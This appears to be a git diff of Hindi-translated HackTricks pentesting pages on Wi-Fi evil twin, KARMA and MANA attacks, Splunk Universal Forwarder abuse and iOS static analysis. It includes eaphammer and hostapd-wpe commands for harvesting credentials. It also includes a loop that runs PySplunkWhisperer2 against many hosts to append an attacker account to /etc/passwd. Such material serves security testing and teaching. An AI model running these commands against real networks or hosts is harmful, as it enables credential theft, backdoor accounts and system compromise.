- **क्लाइंट रोइंग और कनेक्शन हेरफेर**: 802.11 प्रोटोकॉल उपकरणों को समान ESS के भीतर एक्सेस पॉइंट्स के बीच घूमने की अनुमति देता है। हमलावर इस बात का लाभ उठा सकते हैं कि वे एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभा सकते हैं। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करके जैसे कि डिअथेंटिकेशन पैकेट्स या जैमिंग के माध्यम से किया जा सकता है।
- **निष्पादन में चुनौतियाँ**: कई, अच्छी तरह से रखे गए एक्सेस पॉइंट्स वाले वातावरण में ईविल ट्विन अटैक को सफलतापूर्वक निष्पादित करना चुनौतीपूर्ण हो सकता है। एकल वैध एक्सेस पॉइंट को डिअथेंटिकेट करने से अक्सर उपकरण को दूसरे वैध एक्सेस पॉइंट से कनेक्ट करने का परिणाम होता है जब तक कि हमलावर सभी निकटवर्ती एक्सेस पॉइंट्स को डिअथेंटिकेट नहीं कर सकता या धोखाधड़ी वाले एक्सेस पॉइंट को रणनीतिक रूप से नहीं रख सकता।
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
आप एक बहुत बुनियादी ओपन ईविल ट्विन (इंटरनेट पर ट्रैफ़िक रूट करने की क्षमताओं के बिना) बना सकते हैं:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
@ -512,28 +512,28 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
![](<../../images/image (1088).png>)
कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में क ESSID WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक ओपन ईविल ट्विन से कनेक्ट नहीं होगा। आप असली AP को DoS करने की कोशिश कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके ओपन ईविल ट्विन से कनेक्ट होगा, या आप असली AP को DoS कर सकते हैं और हैंडशेक कैप्चर करने के लिए WPA ईविल ट्विन का उपयोग कर सकते हैं (इस विधि का उपयोग करते समय आप पीएसके नहीं जानते हैं, इसलिए आप पीड़ित को अपने साथ कनेक्ट नहीं करवा सकते, लेकिन आप हैंडशेक कैप्चर कर सकते हैं और इसे क्रैक करने की कोशिश कर सकते हैं)।
कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में कोई ESSID WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक ओपन ईविल ट्विन से कनेक्ट नहीं होगा। आप असली AP को DoS करने की कोशिश कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके ओपन ईविल ट्विन से कनेक्ट करेगा, या आप असली AP को DoS कर सकते हैं और हैंडशेक कैप्चर करने के लिए WPA ईविल ट्विन का उपयोग कर सकते हैं (इस विधि का उपयोग करते समय आप पीएसके नहीं जानते हैं, इसलिए आप पीड़ित को अपने साथ कनेक्ट नहीं करवा सकते, लेकिन आप हैंडशेक कैप्चर कर सकते हैं और इसे क्रैक करने की कोशिश कर सकते हैं)।
_कुछ OS और AV उपयोगकर्ता को चेतावनी देंगे कि ओपन नेटवर्क से कनेक्ट करना खतरनाक है..._
### WPA/WPA2 Evil Twin
### WPA/WPA2 ईविल ट्विन
आप **WPA/2 का उपयोग करके एक Evil Twin बना सकते हैं** और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी स्थिति में, **4-way-handshake को पूरा करने के लिए** आपको **जानना होगा** कि **क्लाइंट कौन सा पासवर्ड उपयोग करने वाला है**। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**
आप **WPA/2 का उपयोग करके एक ईविल ट्विन** बना सकते हैं और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी तरह, **4-वे-हैंडशेक को पूरा करने के लिए** आपको **जानना होगा** कि क्लाइंट **कौन सा पासवर्ड** उपयोग करने वाला है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Enterprise Evil Twin
न हमलों को समझने के लिए, मैं पहले [WPA Enterprise explanation](#wpa-enterprise-mgt) पढ़ने की सिफारिश करूंगा।
स हमले को समझने के लिए, मैं पहले संक्षिप्त [WPA Enterprise explanation](#wpa-enterprise-mgt) पढ़ने की सिफारिश करूंगा।
**Using hostapd-wpe**
**hostapd-wpe का उपयोग करना**
`hostapd-wpe` को काम करने के लिए एक **configuration** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशन के निर्माण को **automate** करने के लिए, आप [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) का उपयोग कर सकते हैं (/_/etc/hostapd-wpe/_ के अंदर python फ़ाइल डाउनलोड करें)
`hostapd-wpe` को काम करने के लिए एक **configuration** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशन के निर्माण को **automate** करने के लिए, आप [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) का उपयोग कर सकते हैं (/_/etc/hostapd-wpe/_ के अंदर python फ़ाइल डाउनलोड करें)
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
कॉन्फ़िगरेशन फ़ाइल में आप कई विभिन्न चीज़ें चुन सकते हैं जैसे ssid, चैनल, उपयोगकर्ता फ़ाइलें, cret/key, dh पैरामीटर, wpa संस्करण और auth...
कॉन्फ़िगरेशन फ़ाइल में आप कई विभिन्न चीज़ें चुन सकते हैं जैसे ssid, चैनल, उपयोगकर्ता फ़ाइलें, क्रेट/की, dh पैरामीटर, wpa संस्करण और प्रमाणीकरण...
[**EAP-TLS के साथ hostapd-wpe का उपयोग करके किसी भी प्रमाणपत्र को लॉगिन करने की अनुमति देना।**](evil-twin-eap-tls.md)
@ -545,7 +545,7 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उद्देश्य रखता है (ध्यान दें कि GTC को पहले प्रयास के रूप में स्पष्ट पासवर्ड प्राप्त करने के लिए और फिर अधिक मजबूत प्रमाणीकरण विधियों के उपयोग के लिए):
डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उद्देश्य रखता है (ध्यान दें कि GTC पहले प्रयास के रूप में स्पष्ट पासवर्ड प्राप्त करने के लिए है और फिर अधिक मजबूत प्रमाणीकरण विधियों का उपयोग किया जाता है):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
@ -570,10 +570,10 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
_यह विधि PEAP कनेक्शन में परीक्षण की गई थी लेकिन चूंकि मैं एक मनमाने TLS टनल को डिक्रिप्ट कर रहा हूँ, यह EAP-TTLS के साथ भी काम करना चाहिए_
**hostapd-wpe** की **कॉन्फ़िगरेशन** के अंदर _**dh_file**_ वाली पंक्ति को **टिप्पणी** करें (से `dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh`)\
यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए मजबूर करेगा, ताकि आप बाद में **सर्वर की निजी कुंजी** जानकर ट्रैफ़िक को **डिक्रिप्ट** कर सकें।
**hostapd-wpe** की **कॉन्फ़िगरेशन** के अंदर _**dh_file**_ वाली पंक्ति को **टिप्पणी** करें ( `dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh` तक)\
यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए मजबूर करेगा, ताकि आप बाद में **सर्वर की निजी कुंजी जानकर** ट्रैफ़िक को **डिक्रिप्ट** कर सकें।
अब सामान्य रूप से उस संशोधित कॉन्फ़िगरेशन के साथ **`hostapd-wpe`** का **Evil Twin** शुरू करें। इसके अलावा, **Evil Twin हमले** को करने वाले **इंटरफेस** में **`wireshark`** शुरू करें।
अब **Evil Twin** को **`hostapd-wpe`** का उपयोग करके उस संशोधित कॉन्फ़िगरेशन के साथ सामान्य रूप से शुरू करें। इसके अलावा, **Evil Twin हमले** को करने वाले **इंटरफेस** में **`wireshark`** शुरू करें।
अब या बाद में (जब आपने पहले से कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हैं) आप `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` में wireshark में निजी RSA कुंजी जोड़ सकते हैं।
@ -591,14 +591,14 @@ _यह विधि PEAP कनेक्शन में परीक्षण
मीडिया एक्सेस कंट्रोल फ़िल्टर सूचियों (MFACLs) के विभिन्न प्रकार और एक धोखाधड़ी एक्सेस पॉइंट (AP) के व्यवहार पर उनके संबंधित मोड और प्रभाव:
1. **MAC-आधारित व्हाइटलिस्ट**:
- धोखाधड़ी AP केवल व्हाइटलिस्ट में निर्दिष्ट उपकरणों से प्रॉब अनुरोधों का उत्तर देगा, अन्य सभी के लिए अदृश्य रहेगा।
2. **MAC-आधारित ब्लैकलिस्ट**:
- धोखाधड़ी AP ब्लैकलिस्ट में उपकरणों से प्रॉब अनुरोधों की अनदेखी करेगा, जिससे धोखाधड़ी AP उन विशेष उपकरणों के लिए अदृश्य हो जाएगा।
3. **SSID-आधारित व्हाइटलिस्ट**:
1. **MAC-आधारित सफेद सूची**:
- धोखाधड़ी AP केवल सफेद सूची में निर्दिष्ट उपकरणों से प्रॉब अनुरोधों का उत्तर देगा, अन्य सभी के लिए अदृश्य रहेगा।
2. **MAC-आधारित काली सूची**:
- धोखाधड़ी AP काली सूची में उपकरणों से प्रॉब अनुरोधों की अनदेखी करेगा, प्रभावी रूप से उन विशिष्ट उपकरणों के लिए धोखाधड़ी AP को अदृश्य बना देगा।
3. **SSID-आधारित सफेद सूची**:
- धोखाधड़ी AP केवल विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जिनकी पसंदीदा नेटवर्क सूचियों (PNLs) में वे ESSIDs नहीं हैं।
4. **SSID-आधारित ब्लैकलिस्ट**:
- धोखाधड़ी AP ब्लैकलिस्ट में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्कों की तलाश कर रहे हैं।
4. **SSID-आधारित काली सूची**:
- धोखाधड़ी AP काली सूची में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्कों की तलाश कर रहे हैं।
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -620,13 +620,13 @@ name3
```
### KARMA
यह विधि **हमलावर को एक दुर्भावनापूर्ण एक्सेस पॉइंट (AP) बनाने की अनुमति देती है जो नेटवर्क से कनेक्ट करने के लिए प्रयास कर रहे उपकरणों से सभी प्रॉब अनुरोधों का उत्तर देती है**। यह तकनीक **उपकरणों को हमलावर के AP से कनेक्ट करने के लिए धोखा देती है** जो उपकरणों द्वारा खोजे जा रहे नेटवर्क की नकल करती है। एक बार जब क उपकरण इस धोखेबाज़ AP को कनेक्शन अनुरोध भेजता है, तो यह कनेक्शन पूरा करता है, जिससे उपकरण गलती से हमलावर के नेटवर्क से कनेक्ट हो जाता है।
यह विधि **हमलावर को एक दुर्भावनापूर्ण एक्सेस पॉइंट (AP) बनाने की अनुमति देती है जो नेटवर्क से कनेक्ट करने की कोशिश कर रहे उपकरणों से सभी प्रॉब अनुरोधों का उत्तर देती है**। यह तकनीक **उपकरणों को हमलावर के AP से कनेक्ट करने के लिए धोखा देती है** जो उपकरणों द्वारा खोजे जा रहे नेटवर्क की नकल करती है। एक बार जब कोई उपकरण इस धोखेबाज़ AP को कनेक्शन अनुरोध भेजता है, तो यह कनेक्शन पूरा करता है, जिससे उपकरण गलती से हमलावर के नेटवर्क से कनेक्ट हो जाता है।
### MANA
फिर, **उपकरणों ने अनचाहे नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, **MANA हमले** के रूप में जानी जाने वाली एक नई विधि को इयान डी विलियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को उनके प्रसारित प्रॉब अनुरोधों का उत्तर देकर कैप्चर करती है** जिसमें पहले उपकरणों द्वारा अनुरोधित नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को दरकिनार करता है, उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाकर
फिर, **उपकरणों ने असंगत नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, **MANA हमले** के रूप में जानी जाने वाली एक नई विधि को इयान डी विलियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को उनके प्रसार प्रॉब अनुरोधों का उत्तर देकर कैप्चर करने** में शामिल है, जिसमें उपकरणों द्वारा पहले से ज्ञात नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को बायपास करता है, जिससे उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाया जाता है
MANA हमला उपकरणों से निर्देशित और प्रसारित प्रॉब अनुरोधों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसारित अनुरोध प्राप्त होता है, तो AP उपकरण की सूची में किसी भी नेटवर्क से मेल खाने वाली जानकारी के साथ उत्तर देता है, जिससे उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए आकर्षित किया जाता है।
MANA हमला उपकरणों से निर्देशित और प्रसारण प्रॉब अनुरोधों दोनों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसार अनुरोध प्राप्त होता है, तो AP उपकरण की सूची में किसी भी नेटवर्क से मेल खाने वाली जानकारी के साथ उत्तर देता है, जिससे उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए आकर्षित किया जाता है।
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -638,15 +638,15 @@ A **Loud MANA attack** एक उन्नत रणनीति है जब
```
### Known Beacon attack
जब **Loud MANA attack** पर्याप्त नहीं हो सकता, तब **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, एक AP का अनुकरण करके जो किसी भी नेटवर्क नाम का उत्तर देती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित होती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि एक ESSID पीड़ित के PNL में मेल खा जाए, जो निर्मित AP से कनेक्शन प्रयास को प्रेरित करता है। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है।
जब **Loud MANA attack** पर्याप्त नहीं हो सकता, तब **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, एक AP का अनुकरण करके जो किसी भी नेटवर्क नाम का उत्तर देती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित करती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि एक ESSID पीड़ित के PNL में मेल खा जाए, जो निर्मित AP से कनेक्शन प्रयास को प्रेरित करता है। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है।
Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहाँ सूची के अंदर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं):
Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहां सूची के अंदर सभी ESSIDs को चार्ज किया जाता है (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Known Beacon Burst attack**
**Known Beacon Burst attack** में **एक फ़ाइल में सूचीबद्ध प्रत्येक ESSID के लिए बाइन फ़्रेमों का तेज़ी से प्रसारण करना** शामिल है। यह नकली नेटवर्क का एक घना वातावरण बनाता है, जिससे उपकरणों के धोखाधड़ी AP से कनेक्ट होने की संभावना बहुत बढ़ जाती है, विशेष रूप से जब इसे MANA हमले के साथ मिलाया जाता है। यह तकनीक गति और मात्रा का लाभ उठाकर उपकरणों के नेटवर्क चयन तंत्र को अभिभूत करती है।
**Known Beacon Burst attack** में **एक फ़ाइल में सूचीबद्ध प्रत्येक ESSID के लिए बकन फ़्रेम का तेज़ी से प्रसारण करना** शामिल है। यह नकली नेटवर्क का एक घना वातावरण बनाता है, जिससे उपकरणों के धोखाधड़ी AP से कनेक्ट होने की संभावना बहुत बढ़ जाती है, विशेष रूप से जब इसे MANA हमले के साथ मिलाया जाता है। यह तकनीक गति और मात्रा का लाभ उठाकर उपकरणों के नेटवर्क चयन तंत्र को अभिभूत करती है।
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -657,7 +657,7 @@ Eaphammer ने इस हमले को एक MANA हमले के र
```
## Wi-Fi Direct
**Wi-Fi Direct** एक प्रोटोकॉल है जो उपकरणों को पारंपरिक वायरलेस एक्सेस पॉइंट की आवश्यकता के बिना सीधे एक-दूसरे से लिंक करने की अनुमति देता है। यह क्षमता विभिन्न इंटरनेट ऑफ थिंग्स (IoT) उपकरणों, जैसे प्रिंटर और टेलीविजन में एकीकृत है, जो सीधे उपकरण-से-उपकरण संचार को सुविधाजनक बनाती है। Wi-Fi Direct की एक महत्वपूर्ण विशेषता यह है कि एक उपकरण एक एक्सेस पॉइंट की भूमिका निभाता है, जिसे समूह मालिक का जाता है, जो कनेक्शन का प्रबंधन करता है।
**Wi-Fi Direct** एक प्रोटोकॉल है जो उपकरणों को पारंपरिक वायरलेस एक्सेस पॉइंट की आवश्यकता के बिना सीधे एक-दूसरे से लिंक करने की अनुमति देता है। यह क्षमता विभिन्न इंटरनेट ऑफ थिंग्स (IoT) उपकरणों, जैसे प्रिंटर और टेलीविजन में एकीकृत है, जो सीधे उपकरण-से-उपकरण संचार को सुविधाजनक बनाती है। Wi-Fi Direct की एक महत्वपूर्ण विशेषता यह है कि एक उपकरण एक एक्सेस पॉइंट की भूमिका निभाता है, जिसे समूह मालिक के रूप में जाना जाता है, जो कनेक्शन का प्रबंधन करता है।
Wi-Fi Direct कनेक्शनों के लिए सुरक्षा **Wi-Fi Protected Setup (WPS)** के माध्यम से स्थापित की जाती है, जो सुरक्षित पेयरिंग के लिए कई विधियों का समर्थन करती है, जिसमें शामिल हैं:
@ -669,7 +669,7 @@ Wi-Fi Direct कनेक्शनों के लिए सुरक्षा
### EvilDirect Hijacking
**EvilDirect Hijacking** एक ऐसा हमला है जो विशेष रूप से Wi-Fi Direct के लिए है। यह Evil Twin हमले के सिद्धांत को दर्शाता है लेकिन Wi-Fi Direct कनेक्शनों को लक्षित करता है। इस परिदृश्य में, एक हमलावर एक वैध समूह मालिक का अनुकरण करता है जिसका उद्देश्य उपकरणों को एक दुर्भावनापूर्ण इकाई से कनेक्ट करने के लिए धोखा देना है। इस विधि को `airbase-ng` जैसे उपकरणों का उपयोग करके निष्पादित किया जा सकता है, जिसमें अनुकरण किए गए उपकरण के चैनल, ESSID और MAC पते को निर्दिष्ट किया जाता है:
**EvilDirect Hijacking** एक ऐसा हमला है जो विशेष रूप से Wi-Fi Direct के लिए है। यह Evil Twin हमले के सिद्धांत को दर्शाता है लेकिन Wi-Fi Direct कनेक्शनों को लक्षित करता है। इस परिदृश्य में, एक हमलावर एक वैध समूह मालिक का अनुकरण करता है ताकि उपकरणों को एक दुर्भावनापूर्ण इकाई से कनेक्ट करने के लिए धोखा दिया जा सके। इस विधि को `airbase-ng` जैसे उपकरणों का उपयोग करके निष्पादित किया जा सकता है, जिसमें अनुकरण किए गए उपकरण का चैनल, ESSID और MAC पता निर्दिष्ट किया जाता है:
## References

View File

@ -2,23 +2,46 @@
{{#include ../../banners/hacktricks-training.md}}
यदि **आंतरिक** या **बाहरी** रूप से किसी मशीन का **गणना** करते समय आपको **Splunk चलाते हुए** (पोर्ट 8090) मिलता है, और यदि आपको किसी **मान्य क्रेडेंशियल**े बरे में पता है, तो आप **Splunk सेवा का दुरुपयोग** करके **एक शेल** को उस उपयोगकर्ता के रूप में **निष्पादित** कर सकते हैं जो Splunk चला रहा है। यदि रूट इसे चला रहा है, तो आप रूट तक विशेषाधिकार बढ़ा सकते हैं।
यदि **आंतरिक** या **बाहरी** रूप से किसी मशीन का **गणना** करते समय आपको **Splunk चलाते हुए** (पोर्ट 8090) मिलता है, और यदि आपको किसी **मान्य क्रेडेंशियल** का पता है, तो आप **Splunk सेवा का दुरुपयोग** करके **एक शेल** को उस उपयोगकर्ता के रूप में **निष्पादित** कर सकते हैं जो Splunk चला रहा है। यदि रूट इसे चला रहा है, तो आप रूट तक विशेषाधिकार बढ़ा सकते हैं।
यदि आप **पहले से ही रूट हैं और Splunk सेवा केवल लोकलहोस्ट पर सुन नहीं रही है**, तो आप **Splunk सेवा से** **पासवर्ड** फ़ाइल **चुरा सकते हैं** और पासवर्ड को **क्रैक** कर सकते हैं, या इसमें **नए** क्रेडेंशियल **जोड़ सकते हैं**। और होस्ट पर स्थिरता बनाए रख सकते हैं।
यदि आप **पहले से ही रूट हैं और Splunk सेवा केवल लोकलहोस्ट पर नहीं सुन रही है**, तो आप Splunk सेवा से **पासवर्ड** फ़ाइल **चुरा सकते हैं** और पासवर्ड को **क्रैक** कर सकते हैं, या इसमें **नए** क्रेडेंशियल जोड़ सकते हैं। और होस्ट पर स्थिरता बनाए रख सकते हैं।
नीचे पहले चित्र में आप देख सकते हैं कि एक Splunkd वेब पृष्ठ कैसा दिखता है।
## Splunk यूनिवर्सल फॉरवर्डर एजेंट एक्सप्लॉइट सारांश
अधिक विवरण के लिए पोस्ट देखें [https://eapolsniper.github.io/2020/08
अधिक विवरण के लिए पोस्ट देखें [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). यह केवल एक सारांश है:
**एक्सप्लॉइट अवलोकन:**
एक्सप्लॉइट जो Splunk यूनिवर्सल फॉरवर्डर एजेंट (UF) को लक्षित करता है, हमलावरों को एजेंट पासवर्ड के साथ एजेंट पर चलने वाले सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति देता है, जिससे पूरे नेटवर्क का समझौता हो सकता है।
**मुख्य बिंदु:**
- UF एजेंट आने वाले कनेक्शनों या कोड की प्रामाणिकता को मान्य नहीं करता है, जिससे यह अनधिकृत कोड निष्पादन के लिए संवेदनशील हो जाता है।
- सामान्य पासवर्ड अधिग्रहण विधियों में उन्हें नेटवर्क निर्देशिकाओं, फ़ाइल शेयरों, या आंतरिक दस्तावेज़ों में ढूंढना शामिल है।
- सफल दुरुपयोग से समझौता किए गए होस्ट पर SYSTEM या रूट स्तर की पहुंच, डेटा निकासी, और आगे के नेटवर्क में घुसपैठ हो सकती है।
**एक्सप्लॉइट निष्पादन:**
1. हमलावर UF एजेंट पासवर्ड प्राप्त करता है।
2. एजेंटों को आदेश या स्क्रिप्ट भेजने के लिए Splunk API का उपयोग करता है।
3. संभावित क्रियाओं में फ़ाइल निष्कर्षण, उपयोगकर्ता खाता हेरफेर, और सिस्टम का समझौता शामिल है।
**प्रभाव:**
- प्रत्येक होस्ट पर SYSTEM/रूट स्तर की अनुमतियों के साथ पूर्ण नेटवर्क समझौता।
- पहचान से बचने के लिए लॉगिंग को अक्षम करने की संभावना।
- बैकडोर या रैनसमवेयर की स्थापना।
**दुरुपयोग के लिए उदाहरण आदेश:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**उपयोगी सार्वजनिक एक्सप्लॉइट:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Splunk क्वेरी का दुरुपयोग

View File

@ -26,28 +26,28 @@ ios-testing-environment.md
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> निम्नलिखित चरणों के लिए **ऐप को डिवाइस पर स्थापित किया जाना चाहिए** और पहले से ही एप्लिकेशन क**IPA फ़ाइल** प्राप्त कर ली जानी चाहिए।\
> [!TIP]
> अगले चरणों के लिए **ऐप को डिवाइस पर इंस्टॉल किया जाना चाहिए** और इसे पहले से ही एप्लिकेशन क**IPA फ़ाइल** प्राप्त कर लेना चाहिए।\
> यह जानने के लिए [Basic iOS Testing Operations](basic-ios-testing-operations.md) पृष्ठ पढ़ें कि इसे कैसे करना है।
### Basic Static Analysis
कुछ दिलचस्प iOS - IPA फ़ाइल डिकंपाइलर्स:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
IPA फ़ाइल पर स्वचालित स्थैतिक विश्लेषण करने के लिए [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) उपकरण का उपयोग करने की सिफारिश की जाती है।
IPA फ़ाइल पर स्वचालित स्थैतिक विश्लेषण करने के लिए उपकरण [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) का उपयोग करने की सिफारिश की जाती है।
**बाइनरी में मौजूद सुरक्षा की पहचान**:
- **PIE (Position Independent Executable)**: जब सक्षम होता है, तो एप्लिकेशन हर बार लॉन्च होने पर एक यादृच्छिक मेमोरी पते पर लोड होता है, जिससे इसके प्रारंभिक मेमोरी पते की भविष्यवाणी करना कठिन हो जाता है।
```bash
otool -hv <app-binary> | grep PIE # इसमें PIE ध्वज शामिल होना चाहिए
otool -hv <app-binary> | grep PIE # इसमें PIE फ्लैग शामिल होना चाहिए
```
- **Stack Canaries**: स्टैक की अखंडता को मान्य करने के लिए, एक 'कनरी' मान को एक फ़ंक्शन को कॉल करने से पहले स्टैक पर रखा जाता है और फ़ंक्शन समाप्त होने पर फिर से मान्य किया जाता है।
- **Stack Canaries**: स्टैक की अखंडता को मान्य करने के लिए, एक 'कनरी' मान को एक फ़ंक्शन को कॉल करने से पहले स्टैक पर रखा जाता है और फ़ंक्शन समाप्त होने पर फिर से मान्य किया जाता है।
```bash
otool -I -v <app-binary> | grep stack_chk # इसमें प्रतीक शामिल होना चाहिए: stack_chk_guard और stack_chk_fail
@ -135,11 +135,11 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis
देखें कि [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) द्वारा किया गया गतिशील विश्लेषण। आपको विभिन्न दृश्य के माध्यम से नेविगेट करना होगा और उनके साथ इंटरैक्ट करना होगा, लेकिन यह अन्य चीजें करते समय कई कक्षाओं को हुक करेगा और जब आप समाप्त हो जाएंगे तो एक रिपोर्ट तैयार करेगा।
देखें कि [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) द्वारा किया गया गतिशील विश्लेषण। आपको विभिन्न दृश्य के माध्यम से नेविगेट करना होगा और उनके साथ इंटरैक्ट करना होगा, लेकिन यह अन्य चीजें करते समय कई कक्षाओं को हुक करेगा और जब आप समाप्त कर लेंगे तो एक रिपोर्ट तैयार करेगा।
